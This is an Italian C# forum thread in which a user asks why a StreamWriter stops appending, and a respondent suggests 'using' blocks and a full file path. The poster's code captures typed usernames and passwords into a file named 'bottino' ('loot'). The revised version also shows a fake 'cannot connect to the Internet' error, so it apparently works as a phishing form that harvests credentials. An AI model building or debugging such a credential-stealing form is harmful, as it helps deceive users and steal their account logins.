StreamWriter dopo due records non funziona
-
lunedì 25 giugno 2012 19:18
salve a tutti ho scritto questo codice
var password = textBox1.Text; var user = textBox2.Text; StreamWriter sw = File.AppendText("bottino1.txt"); sw.Write("username : "); sw.WriteLine(user); sw.Write("password : "); sw.WriteLine(password); sw.WriteLine(); sw.Flush(); sw.Close();
ma purtroppo non capisco perchè questo codice dopo due volte che eseguo il file smette di scrivere nel file, quanto di dovere.
se pero cancello il file questo viene ricreato per poi rifunzionare per altre 2 volte.
proposte ? dove sbaglio ?
grazie anticipatamente a tutti
Tutte le risposte
-
lunedì 25 giugno 2012 19:35
Con le classi che implementano IDisposable (come StreamWriter) usa il costrutto using per essere sicuro che le risorse non gestite (come l'handle al file) vengano rilasciate, anche in caso di eccezione, come puoi vedere su MSDN http://msdn.microsoft.com/en-us/library/system.io.file.appendtext.aspx.
In alternativa più semplicemente ti consiglio di usare il metodo File.AppendAllText.
Ti consiglio anche di specificare un full path, altrimenti il file viene creato nella directory Bin dell'applicazione, che potrebbe essere cancellata per diversi motivi e quindi darti il comportamento anomalo che stai ottenendo.Matteo Migliore
Bloghttp://blogs.ugidotnet.org/matteomigliore
Twitterhttp://twitter.com/matteomigliore
CodePlex- Contrassegnato come risposta ugnip lunedì 25 giugno 2012 20:37
-
lunedì 25 giugno 2012 20:37
var password = textBox1.Text; var user = textBox2.Text; MessageBox.Show(string.Format("spiacente {0}, Impossibile connettersi a Internet, verificare la connessione.", password)); //StreamWriter sw = new StreamWriter("bottino.txt"); string path = @"bottino.txt"; if (!File.Exists(path)) { // Create a file to write to. using (StreamWriter sw = File.CreateText(path)) { sw.Write("username : "); sw.WriteLine(password); sw.Write("password : "); sw.WriteLine(user); sw.WriteLine(); } } // This text is always added, making the file longer over time // if it is not deleted. using (StreamWriter sw = File.AppendText(path)) { sw.Write("username : "); sw.WriteLine(password); sw.Write("password : "); sw.WriteLine(user); sw.WriteLine(); }grazie mille matteo come sempre il migliore ... ancora maggiore la stima che ho di te :)
ancora grazie ciao !!

